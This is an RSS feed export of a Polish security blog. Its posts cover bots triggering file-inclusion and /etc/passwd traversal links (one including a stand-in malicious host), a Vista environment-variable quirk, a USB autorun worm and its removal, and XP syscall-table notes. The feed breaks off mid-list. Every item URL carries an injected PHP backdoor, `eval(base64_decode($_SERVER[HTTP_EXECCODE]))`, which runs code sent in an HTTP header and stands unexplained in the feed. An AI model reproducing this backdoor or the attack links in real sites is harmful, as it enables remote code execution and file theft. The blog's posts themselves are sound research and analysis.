<?xml version="1.0" encoding="iso-8859-2"?>
<!-- generator="wordpress/2.1.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>G.C. TechBlog</title>
	<link>http://gynvael.uw-blog.org</link>
	<description>UW-Blog</description>
	<pubDate>Sat, 16 Aug 2008 11:15:38 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.3</generator>
	<language>en</language>
			<item>
		<title>Umarł blog, niech żyje blog!</title>
		<link>http://gynvael.uw-blog.org/2008/08/16/umar-blog-niech-yje-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2008/08/16/umar-blog-niech-yje-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 16 Aug 2008 11:14:16 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Bez kategorii]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=21</guid>
		<description><![CDATA[Z powodu mojego niezdecydowania językowego postanowiłem zawiesić polskie i angielski blogi, i utworzyć jeden polsko-angielski ;&#62;
Tak więc zawieszam działalność tego blogu (i tak dawno tu nie pisałem), i jednocześnie zapraszam na mój nowy blog: http://gynvael.coldwind.pl
]]></description>
			<content:encoded><![CDATA[<p>Z powodu mojego niezdecydowania językowego postanowiłem zawiesić polskie i angielski blogi, i utworzyć jeden polsko-angielski ;&gt;</p>
<p>Tak więc zawieszam działalność tego blogu (i tak dawno tu nie pisałem), i jednocześnie zapraszam na mój nowy blog: <a href="http://gynvael.coldwind.pl" title="http://gynvael.coldwind.pl">http://gynvael.coldwind.pl</a></p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2008/08/16/umar-blog-niech-yje-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Rise of the Robots - Sprzężenie zwrotne</title>
		<link>http://gynvael.uw-blog.org/2007/08/26/rise-of-the-robots-sprzeenie-zwrotne/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/08/26/rise-of-the-robots-sprzeenie-zwrotne/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 26 Aug 2007 11:09:41 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=20</guid>
		<description><![CDATA[Hi,
Całkiem niedawno wpadła mi w ręce świetna książka &#8220;Cisza w sieci&#8221; autorstwa Michała Zalewskiego (lcamtuf-a). W drugiej połowie książki jest przedruk artykułu z Phrack 0&#215;39 &#8220;Rise of the Robots&#8221; (również autorstwa lcamtuf-a). Artykuł sugeruje iż można wykorzystać roboty webowe (np. GoogleBot) do przeprowadzania ataków na strony WWW oraz niektóre usługi, po prostu podając im linka [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>Całkiem niedawno wpadła mi w ręce świetna książka &#8220;Cisza w sieci&#8221; autorstwa Michała Zalewskiego (lcamtuf-a). W drugiej połowie książki jest przedruk artykułu z Phrack 0&#215;39 <a href="http://www.phrack.org/archives/57/p57-0x13">&#8220;Rise of the Robots&#8221;</a> (również autorstwa lcamtuf-a). Artykuł sugeruje iż można wykorzystać roboty webowe (np. GoogleBot) do przeprowadzania ataków na strony WWW oraz niektóre usługi, po prostu podając im linka który jednocześnie przeprowadza atak, np:</p>
<p>http://alamakota.pl/skrypt.php?inc=http://zly.pl/evil.txt</p>
<p>W ramach eksperymentowania postanowiłem powtórzyć opisany przez lcamtuf-a eksperyment, dodając jeszcze jeden warunek - uzyskanie informacji zwrotnej na temat tego czy atak się powiódł oraz jego rezultatów.  W tym celu na swojej stronie http://gynvael.vexillium.org stworzyłem trzy testowe linki:</p>
<p>Pewien test by gyn -&gt; http://gynvael.lunarii.org/test.php?inc=../../../../etc/passwd<br />
Inny test by gyn -&gt; http://gynvael.lunarii.org/test.php?inc=http://zlosliwa.strona.haxxora.pl/zlosliwy.php<br />
Kolejny test by gyn -&gt; http://gynvael.lunarii.org/test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E</p>
<p>Dodatkowo na stronie http://gynvael.vexillium.org włączyłem skrypt logujący odwiedziny. Skrypt test.php również dokładnie loguje wszelkie odwiedziny, dodatkowo, wywołany z niepustym parametrem inc, listuje coś co mogło by być plikiem /etc/passwd.</p>
<p>Eksperyment trwał niecały miesiąc, rozpoczął się 4 sierpnia. Piątego sierpnia o 00:42 przybył na stronę z linkami pierwszy bot <strong>msnbot/1.0 (+http://search.msn.com/msnbot.htm)</strong>, dwie minuty po nim pojawił się jakiś prywatny szperacz <strong>libwww-perl/5.80</strong> z adresu <strong>amenti.chthonic.net.</strong> Yahoo! pojawiło się około 8:16, a o 9:33 przyszedł GoogleBot. Yahoo! wróciło jeszcze o 12:45 oraz 23:30. Szóstego sierpnia pojawił się niejaki <strong>Gigabot/3.0 (http://www.gigablast.com/spider.html).</strong> I tak dalej. W ciągu niecałego miesiąca stronę odwiedziła cała masa botów, które parsowały linki przeprowadzające atak, i za pewne zapamiętywały je w calu późniejszego odwiedzenia.</p>
<p>Jeśli chodzi o stronę atakowaną, pierwszy atak przeprowadził GoogleBot o godzinie 11:05 (czyli godzinę i 32 minuty po wizycie na stronie z linkami). Atak został przeprowadzony na adres<strong> /test.php?inc=http://zlosliwa.strona.haxxora.pl/zlosliwy.php.</strong></p>
<p>Na kolejny atak czekać było trzeba ponad 4 dni. Dziewiątego sierpnia pojawił się Slurp (bot Yahoo!) i &#8220;przeprowadził atak&#8221; na <strong>/test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E</strong>. 15 minut po nim ten sam atak przeprowadził GoogleBot.</p>
<p>Kolejny atak odbył się 16 sierpnia, wykonał go ponownie bot Yahoo! wchodząc ponownie na<strong> /test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E.</strong> 18 sierpnia pojawił się znowu GoogleBot wykonując ponownie ten sam atak co Yahoo! dwa dni wcześniej. Yahoo! wrócił na ten adres ponownie 23 sierpnia.</p>
<p>Co ciekawe, inne boty nie zainteresowały się linkami.</p>
<p>Wniosek z eksperymentu w tym momencie brzmi: można wykorzystać boty do przeprowadzania ataków (HTTP/GET, ew inne). W moim wypadku wystarczyło poczekać 1.5h, i atak został przeprowadzony. Co ciekawe, po wizycie pierwszego bota google czy yahoo, można linki usunąć ze strony.</p>
<p>Natomiast idźmy o krok dalej. Mianowicie boty przeprowadzały &#8220;atak&#8221; który powodował wylistowanie jakiegoś ważnego pliku. Jak uzyskać informacje o tym co w tym pliku było ? Z &#8220;pomocą&#8221; przychodzi tutaj mechanizm cytowania stron na wyszukiwarkach, oraz mechanizm cache&#8217;owania stron.</p>
<p>Mechanizm cytowania polega na wyświetlaniu fragmentu strony, który zawiera poszukiwany przez nas ciąg. Można go użyć do uzyskania całej strony w bardzo prosty sposób, mianowicie dodając do zapytania ostatni wyraz (np nazwę użytkownika w przypadku /etc/passwd) widziany w podanym fragmencie (a usuwając inne wyrazy). Dzięki temu w następnym cytacie uzyskamy dalszy fragment strony. Użycie mechanizmu cytowania wygląda tak:<img src="http://gynvael.vexillium.org/robots1.png" /></p>
<p><img src="http://gynvael.vexillium.org/robots2.png" /></p>
<p><img src="http://gynvael.vexillium.org/robots3.png" /></p>
<p>Mechanizm cache w wypadku google powoduje po prostu przywołanie zawartości strony z pamięci wyszukiwarki. Może dać to następujące rezultaty:</p>
<p><img src="http://gynvael.vexillium.org/robots5.png" /></p>
<p>Niestety cache Yahoo! nie zawierał strony z etc/passwd:<img src="http://gynvael.vexillium.org/robots6.png" /></p>
<p>Tak więc za pomocą botów można przeprowadzić atak, oraz uzyskać informacje zwrotne na temat powodzenia ataku. Dodam że strona w google cache pojawiła się dopiero pod koniec eksperymentu, czyli okres oczekiwania na wyniki jest długi.</p>
<p>Podczas eksperymentu wyszła jeszcze jedna ciekawa rzecz. Mianowicie linki testowe były publicznie dostępne na gynvael.vexillium.org, i co ciekawe, odwiedzający moją stronę bardzo chętnie je &#8220;klikali&#8221;. Jeśli podczas eksperymentu atak przeprowadziło niecałe 10 botów, to w logach można spokojnie znaleźć informacje o około 100 &#8220;atakach&#8221; przeprowadzonych przez normalnych użytkowników. Co bardziej ciekawscy po pierwszym wejściu zaopatrzyli się nawet w zagraniczne proxy i szperali dalej do czego inc= można wykorzystać :).<br />
Natomiast ta informacja może wskazać kolejny wektor &#8220;ataków&#8221; na który będą w przyszłości narażeni normalni użytkownicy. Wystarczy podać na forum czy w przysłowiowych &#8220;komentarzach onet&#8221; jakiś link (np. dodatkowo &#8220;spakowany&#8221; za pomocą tiny.pl), a ludzie na pewno na niego &#8220;klikną&#8221;, czyli de facto, przeprowadzą &#8220;za nas&#8221; atak na jakiś serwer. Proszę zauważyć że nawet &#8220;klikanie&#8221; na link można pominąć, choćby poprzez wstawienie &#8220;atakującego linku&#8221; jako awatar na jakimś forum. W takim wypadku wystarczy by użytkownik odwiedzający forum po prostu wszedł na stronę, a już bezwiednie przeprowadza atak. Taka metoda ataków może bardzo utrudnić zlokalizowanie prawdziwego napastnika.</p>
<p>OK Tyle,</p>
<p>G.C.</p>
<p>ps. jeśli ktoś jeszcze nie czytał &#8220;Ciszy w sieci&#8221;, to bardzo polecam ;&gt;, mega książka</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/08/26/rise-of-the-robots-sprzeenie-zwrotne/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Microsoft Vista i zmienne środowiskowe.</title>
		<link>http://gynvael.uw-blog.org/2007/07/31/microsoft-vista-i-zmienne-rodowiskowe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/07/31/microsoft-vista-i-zmienne-rodowiskowe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 31 Jul 2007 10:51:28 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Bez kategorii]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=19</guid>
		<description><![CDATA[Hi,
Podczas pisania (to jeszcze nie jest czas przeszły ukończony ;&#62;) tutoriala poświęconego językowi skryptowemu .bat (batch) natknąłem się na pewne ciekawe niedopatrzenie, lub jak kto woli - feature, w Windows Vista, dotyczący zmiennych środowiskowych. Jak każdy kto pisał kiedyś coś w języku .bat wie, istnieje możliwość deklarowania nowych zmiennych środowiskowych, dla własnego procesu oraz procesów [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>Podczas pisania (to jeszcze nie jest czas przeszły ukończony ;&gt;) tutoriala poświęconego językowi skryptowemu .bat (batch) natknąłem się na pewne ciekawe niedopatrzenie, lub jak kto woli - feature, w Windows Vista, dotyczący zmiennych środowiskowych. Jak każdy kto pisał kiedyś coś w języku .bat wie, istnieje możliwość deklarowania nowych zmiennych środowiskowych, dla własnego procesu oraz procesów potomnych, za pomocą instrukcji <strong>SET</strong>, np. <strong>SET NAZWA=WARTOSC</strong>. W skryptach .bat maksymalna wielkość wartości (w znakach) zależy od interpretera, a dokładniej od ograniczenia maksymalnej wielkości wiersza poleceń. Interpreter Windows NT 4 oraz Windows 2000 posiadał ograniczenie 2048 znaków, Windows XP oraz 2003 zwiększyło limit do 8192, natomiast Windows Vista nie nakłada ograniczenia na ilość znaków w przypadku komendy <strong>SET</strong>.</p>
<p>Prosty skrypt w którym najpierw tworzymy dłuuugą zmienną, a potem ją wypisujemy za pomocą komendy <strong>SET</strong> <strong>NAZWA</strong> pokazuje że maksymalna wielkość zmiennej (wraz z jej nazwą oraz znakiem równości) wynosi 8192 bajty, przy czym zjadany jest nawet znak końca linii przy wypisywaniu.</p>
<p>Ah, ale czy na pewno o tym mówi taki skrypt ? Nie do końca. Mianowicie skrypt mówi że maksymalna długość linii przewidziana w poleceniu <strong>SET</strong> wynosi 8192. Jak więc ustalić maksymalną długość zmiennej ? Można zajrzeć do listingu interpretera <strong>CMD.EXE</strong> i poszukać implementacji funkcji <strong>SET</strong>. W implementacji znajdziemy funkcję <strong>SetEnvironmentVariablW</strong>, która najwyraźniej jest odpowiedzialna za ustawienie zmiennej. Rzut okiem na MSDN i wiemy że:</p>
<p><em>The total size of the environment block for a process may not exceed 32,767 characters.  </em></p>
<p>Czyli dowiedzieliśmy się że maksymalna wielkość bloku zmiennych środowiskowych dla procesu wynosi 32767 znaków. OK. Ale czemu by tego nie przetestować ? Można stworzyć więc prosty programik który, korzystając z trzeciego parametru funkcji main(), wypisze wszystkie zmienne środowiskowe,  czyli zadziała tak jak <strong>SET</strong>. Programik może wyglądać następująco:</p>
<p><code><br />
#include &lt;stdio.h&gt;<br />
</code><code><br />
int<br />
main(int argc, char **argv, char **envp)<br />
{<br />
while(*envp)<br />
{<br />
puts(*envp);<br />
envp++;<br />
}<br />
</code><code><br />
return 0;<br />
}<br />
</code></p>
<p>Tworzymy ponownie zmienną środowiskową, powiedzmy taką o długości wstępnej 40000 znaków, i zgodnie z dokumentacją oczekujemy że jej wielkość będzie większa niż 8192 znaki które wypisuje <strong>SET</strong>, ale mniejsza niż 32767 znaków. Odpalamy i&#8230; okazuje się że zmienna ma 40000 znaków. Huh.</p>
<p>Jak wspomniałem wcześniej, <strong>SET</strong> korzysta z <strong>SetEnvironmentVariable</strong>. Można więc napisać prosty program który upewni się że ta funkcja faktycznie może stworzyć zmienną powyżej 32767 znaków:</p>
<p><code><br />
#include &lt;stdio.h&gt;<br />
#include &lt;windows.h&gt;<br />
</code><code><br />
int main(void)<br />
{<br />
static char big[40000 + 1];<br />
int i;<br />
</code><code><br />
for(i = 0; i &lt; sizeof(big) - 1; i++)<br />
big[i] = 'A';<br />
</code><code><br />
if(!SetEnvironmentVariable("big", big))<br />
printf("ERROR %i\n", GetLastError());<br />
</code><code><br />
return 0;<br />
}<br />
</code></p>
<p>Kompilujemy, odpalamy, i&#8230; Nie działa, ERROR 87 czyli ERROR_INVALID_PARAMETER. Ciekawe. Po porównaniu listingów okazuje się oczywiście że my używamy funkcji <strong>A</strong>, natomiast interpreter korzysta z funkcji <strong>W</strong>, czyli wersji wide-char. Teoretycznie obie funkcje powinny dawać identyczne rezultaty, jednak czy na pewno tak jest ? Przetestujmy:</p>
<p><code><br />
#include &lt;stdio.h&gt;<br />
#include &lt;windows.h&gt;<br />
</code><code><br />
static char big_c[1024*1024];<br />
static short big_s[1024*1024];<br />
</code><code><br />
int<br />
main(void)<br />
{<br />
int i;<br />
</code><code><br />
for(i = 0; i &lt; 1024*1024 - 1; i++)<br />
{<br />
big_c[i] = 'A';<br />
big_s[i] = 'A';<br />
}<br />
</code><code><br />
printf("W: %i\n", SetEnvironmentVariableW(L"S",big_s));<br />
printf("A: %i\n", SetEnvironmentVariableA("A",big_c));<br />
</code><code><br />
return 0;<br />
}<br />
</code></p>
<p>Windows Vista pokazała wynik <strong>W: 1</strong> oraz <strong>A: 0</strong>. Skąd ta różnica? Odpowiedzią która się nasuwa jest &#8220;panowie z MS zapomnieli sprawdzania wielkości w wersji W, a mają ją w wersji A&#8221;. Natomiast tak nie do końca jest. Jak wynika z analizy listingu obu funkcji, nie ma w żadnej sprawdzania wielkości. Skąd więc błąd w funkcji <strong>A</strong>? Otóż wersja ANSI funkcji, jak to jest w większości przypadków, konwertuje stringi ANSI na stringi Wide-Char, po czym wywołuje funkcję <strong>W</strong>, lub funkcję realizującą dane działanie która znajdzuje się w <strong>NTDLL.DLL</strong>. W tym wypadku mamy do czynienia z tym drugim, mianowicie obie funkcje wywołują <strong>RtlSetEnvironmentVar</strong> (<strong>A</strong> zachacza jeszcze o <strong>RtlSetEnvironmentVariable</strong>, ale to bez znaczenia). Stąd wniosek, że błąd jest generowany w momencie konwersji ANSI na Wide-Char. I faktycznie, w funkcji <strong>RtlInitAnsiStringEx</strong> znajdujemy następujące instrukcje:</p>
<p><code><br />
cmp     eax, 0FFFEh     ; w EAX jest długość stringu<br />
ja      loc_ERROR<br />
</code><code><br />
[...]<br />
</code><code><br />
ERROR:<br />
mov     eax, 0C0000106h ; STATUS_NAME_TOO_LONG<br />
pop     ebp<br />
retn    8<br />
</code></p>
<p>Najwyraźniej funkcja <strong>RtlInitAnsiStringEx</strong> nie dopuszcza przydługawych stringów. Cóż.</p>
<p>Jakie są tego implikacje? Raczej nic poważnego, jako że zmienne środowiskowe utworzone w danym procesie i tak są przekazywane tylko do jego dzieci. Ale jednak są, więc przykładowo jeśli utworzymy zmienną o długości 100MB i uruchomimy 20 kalkulatorów to zużyjemy całą pamięć systemu (taki eksperyment u mnie skończył się 10 minutowym zawieszeniem systemu, po tym czasie system się jednak odwiesił i dalej działał już normalnie; pagefile widać długo był tworzony). Inną implikacją mogą być problemy jeśli program-dziecko korzysta nieumiejętnie ze zmiennych środowiskowych (strcpy(zmienna, envp[2]) ;&gt;). Tak jest na przykład w przypadku interpretera poleceń Windows NT4, który, jeśli uruchomiony w momencie gdy w środowisku jest zmienna powyżej określonej wielkości, po wydaniu komendy <strong>SET</strong> najzwyczajniej w świecie się wysypał (ACCESS_VOLATION). Na szczęście nikt nie używa interpretera z NT4 na Viście.</p>
<p>Z moich testów wynika iż problem dotyczy jedynie Windows Vista. Na XP ani funkcja <strong>A</strong>, ani funkcja <strong>W</strong> nie pozwalają na alokacje przydługawych zmiennych środowiskowych.</p>
<p>K tyle. G.C.</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/07/31/microsoft-vista-i-zmienne-rodowiskowe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Syscall lister</title>
		<link>http://gynvael.uw-blog.org/2007/07/10/syscall-lister/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/07/10/syscall-lister/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 10 Jul 2007 09:41:58 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Windows]]></category>

		<category><![CDATA[ring0]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=17</guid>
		<description><![CDATA[Hi,
Wczoraj omega red opublikował bardzo ciekawy moim zdaniem program do listowania syscalli na systemach z rodziny Windows, za równo 32 bitowych, jak i 64 bitowych.
Warto rzucić okiem imho ;&#62;
Link: http://www.openrce.org/blog/view/808/Syscall_lister
G.C.
]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>Wczoraj omega red <a href="http://www.openrce.org/blog/view/808/Syscall_lister">opublikował bardzo ciekawy moim zdaniem program do listowania syscalli</a> na systemach z rodziny Windows, za równo 32 bitowych, jak i 64 bitowych.</p>
<p>Warto rzucić okiem imho ;&gt;</p>
<p>Link: <a href="http://www.openrce.org/blog/view/808/Syscall_lister" title="http://www.openrce.org/blog/view/808/Syscall_lister">http://www.openrce.org/blog/view/808/Syscall_lister</a></p>
<p>G.C.</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/07/10/syscall-lister/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Slow but sure V0.05</title>
		<link>http://gynvael.uw-blog.org/2007/07/09/slow-but-sure-v005/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/07/09/slow-but-sure-v005/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 09 Jul 2007 07:56:04 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[Windows]]></category>

		<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=16</guid>
		<description><![CDATA[Hi,
Wczoraj zostałem poproszony o rzucenie okiem na kompa, z zainstalowanym systemem Windows XP, na którym &#8220;nie działało&#8221; otwieranie dysków poprzez dwuklik na ikonkę dysku w Moim Komputerze. Powodem okazał się worm, napisany w VBS, przedstawiający się jako &#8220;Slow but sure V0.05&#8243;. Worm ma coś ponad 50 unicode&#8217;owych linijek, i niezwykle prostą i skuteczną zasadę działania. [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>Wczoraj zostałem poproszony o rzucenie okiem na kompa, z zainstalowanym systemem Windows XP, na którym &#8220;nie działało&#8221; otwieranie dysków poprzez dwuklik na ikonkę dysku w Moim Komputerze. Powodem okazał się worm, napisany w VBS, przedstawiający się jako &#8220;Slow but sure V0.05&#8243;. Worm ma coś ponad 50 unicode&#8217;owych linijek, i niezwykle prostą i skuteczną zasadę działania. Mianowicie, ofiara dostaje worm&#8217;a na przenośnym nośniku (np. pendrive) na którym worm wcześniej utworzył dwa pliki:</p>
<ul>
<li>autorun.inf - z rozkazem wykonania (shellexecute) komendy &#8220;wscript.exe MS32DLL.dll.vbs&#8221;</li>
<li>MS32DLL.dll.vbs - kopia worma</li>
</ul>
<p>Po włożeniu nośnika i dwukliku na jego ikonę Windows (nie wiem jak na SP 2, komputer z którym miałem do czynienia był offline i nie miał SP żadnego) pięknie uruchamia polecenie o którym mowa w autorun.inf. Uruchomiony worm kopiuje siebie oraz autorun.inf do roota każdego dysku. Po za tym wykonywana jest kopia worma do katalogu Windows&#8217;a. Worm tworzy dodatkowo 3 wpisy w rejestrze:</p>
<ul>
<li>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL - z wartością C:\Windows\MS32DLL.dll.vbs (przy czym wartość zależy od faktycznej ścieżki do Windows&#8217;a)</li>
<li>HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title - z wartością &#8220;Hacked by Godzilla&#8221;</li>
<li>HKCR\vbsfile\DefaultIcon - z wartością &#8220;shell32.dll,2&#8243;</li>
</ul>
<p>Po czym zasypia na 200 sekund, chyba że natknie się na dysk typu &#8220;Removable&#8221;. W przypadku gdyby natknął się na taki dysk uruchamia polecenie &#8220;c:\windows\explorer.exe /e,/select, SCIEZKA_DO_SKRYPTU&#8221;. I tyle. A, zapomniałem dodać że autorun.inf oraz plik skryptu mają atrybuty poustawiane na ASHR.</p>
<p>Usunięcie worm&#8217;a jest proste. Mianowicie wystarczy skillować (ctrl+shift+esc) wszystkie wscript.exe, po czym usunąć pliki autorun.inf i MS32DLL.dll.vbs z rootów dysku i katalogu Windows&#8217;a. Ewentualnie (;p) można jeszcze usunąć dodane wpisy w rejestrze.</p>
<p>OK tyle ;&gt;</p>
<p>G.C.</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/07/09/slow-but-sure-v005/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Syscalle w XP i pewne ciekawostki cd.</title>
		<link>http://gynvael.uw-blog.org/2007/07/07/syscalle-w-xp-i-pewne-ciekawostki-cd/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/07/07/syscalle-w-xp-i-pewne-ciekawostki-cd/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Jul 2007 08:01:17 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Windows]]></category>

		<category><![CDATA[ring0]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=15</guid>
		<description><![CDATA[Hi,
Wczoraj po rozmowie z deus&#8217;em mnie oświeciło czemu niektórych syscalli jest więcej. Sprawa okazuje się być trywialna, jak zawsze. Okazuje się iż większość tych &#8220;powtarzających się&#8221; syscalli to po prostu funkcje zwracające STATUS_NOT_IMPLEMENTED (aka C0000002h). Większość tych syscalli jest więc zaimplementowana przez jedną funkcję, dlatego wydaje się że się powtarzają.
Tak więc STATUS_NOT_IMPLEMENTED zwracają:

&#8220;NtQuerySystemEnvironmentValueEx&#8221; implementująca niezaimplementowane [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>Wczoraj po rozmowie z deus&#8217;em mnie oświeciło czemu niektórych syscalli jest więcej. Sprawa okazuje się być trywialna, jak zawsze. Okazuje się iż większość tych &#8220;powtarzających się&#8221; syscalli to po prostu funkcje zwracające STATUS_NOT_IMPLEMENTED (aka C0000002h). Większość tych syscalli jest więc zaimplementowana przez jedną funkcję, dlatego wydaje się że się powtarzają.</p>
<p>Tak więc STATUS_NOT_IMPLEMENTED zwracają:</p>
<ul>
<li>&#8220;NtQuerySystemEnvironmentValueEx&#8221; implementująca niezaimplementowane funkcje z 14h bajtów argumentów (RETN 14h): ACh, EFh</li>
<li>&#8220;NtEnumerateSystemEnvironmentValuesEx&#8221; implementująca niezaimplementowane funkcje z 0Ch argumentów (RETN 0Ch): 48h</li>
<li>&#8220;NtModifyBootEntry&#8221; implementująca niezaimplementowane funkcje z 4roma bajtami argumentów (RETN 4): 15h, 3Dh, 6Dh</li>
<li>&#8220;NtEnumerateBootEntries&#8221; implementująca niezaimplementowane funkcje z 8smioma bajtami argumentów (RETN 8): 9, 46h, 8Ch, 8Dh, D3h, D4h</li>
<li>&#8220;NtTranslateFilePath&#8221; implementująca niezaimplementowane funkcje z10h bajtów argumentów (RETN 10h): 105h</li>
</ul>
<p>Czyli, wg oznaczeń z Metasploit Project, niezaimplementowane syscalle to: NtAddBootEntry, NtEnumerateBootEntries, NtQueryBootEntryOrder, NtQueryBootEntryOrder, NtSetBootEntryOrder, NtSetBootOptions, NtTranslateFilePath, NtCancelDeviceWakeupRequest, NtDeleteBootEntry, NtModifyBootEntry, NtEnumerateSystemEnvironmentValuesEx, NtQuerySystemEnvironmentValueEx oraz NtSetSystemEnvironmentValueEx.</p>
<p>K tyle ;&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://gynvael.uw-blog.org/2007/07/07/syscalle-w-xp-i-pewne-ciekawostki-cd/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Syscalle w XP i pewne ciekawostki</title>
		<link>http://gynvael.uw-blog.org/2007/07/06/syscalle-w-xp-i-pewne-ciekawostki/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gynvael.uw-blog.org/2007/07/06/syscalle-w-xp-i-pewne-ciekawostki/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 06 Jul 2007 14:03:21 +0000</pubDate>
		<dc:creator>gynvael</dc:creator>
		
		<category><![CDATA[Windows]]></category>

		<category><![CDATA[ring0]]></category>

		<guid isPermaLink="false">http://gynvael.uw-blog.org/?p=14</guid>
		<description><![CDATA[Hi,
Natrafiłem wczoraj na pewne ciekawostki związane z tablicą syscalli jądra (KiServiceTable)  w XP.
Pierwszą sprawą jest syscall NtEnumerateBootEntries który w tablicy pojawia się 6 (słownie: sześć) razy, na pozycjach 9h,  46h, 8Ch, 8Dh, D3h oraz D4h. Co ciekawe, lister syscalli by omega_red pokazuje (u niego) w tych miejscach syscall NtSetBootOptions.
Jeszcze ciekawsze jest to, że w podanych [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>Natrafiłem wczoraj na pewne ciekawostki związane z tablicą syscalli jądra (KiServiceTable)  w XP.</p>
<p>Pierwszą sprawą jest syscall NtEnumerateBootEntries który w tablicy pojawia się 6 (słownie: sześć) razy, na pozycjach 9h,  46h, 8Ch, 8Dh, D3h oraz D4h. Co ciekawe, lister syscalli by omega_red pokazuje (u niego) w tych miejscach syscall NtSetBootOptions.</p>
<p>Jeszcze ciekawsze jest to, że w podanych wyżej miejscach wg. <a href="http://www.metasploit.com/users/opcode/syscalls.html">listy syscalli na metasploit project</a>  znajdują się kolejno:</p>
<ul>
<li>9h NtAddBootEntry</li>
<li>8Ch NtQueryBootEntryOrder</li>
<li>8Dh NtQueryBootOptions</li>
<li>D3h NtSetBootEntryOrder</li>
<li>D4h NtSetBootOptions</li>
</ul>
<p>Na pozycji 46h znajduje się faktycznie NtEnumerateBootEntries.</p>
<p>Z początku myślałem że to coś nie tak u mnie z kernelem/symbolami, ale po kilku kolejnych testach na wirtualnych maszynach (+windbg) oraz poproszeniu kilku osób (thx omeg, fr3 &amp; deus) o ich kernele / testy wyszło że faktycznie tak po prostu jest.</p>
<p>Jeśli chodzi o inne różnice między listą syscalli Metasploit Project, to:</p>
<ul>
<li>15h, wg symboli NtModifyBootEntry, wg Metasploit Project NtCancelDeviceWakeupRequest</li>
<li>3Dh, wg symboli NtModifyBootEntry, wg Metasploit Project NtDeleteBootEntry</li>
<li>EFh, wg symboli NtQuerySystemEnvironmentValueEx, wg Metasploit Project NtSetSystemEnvironmentValueEx</li>
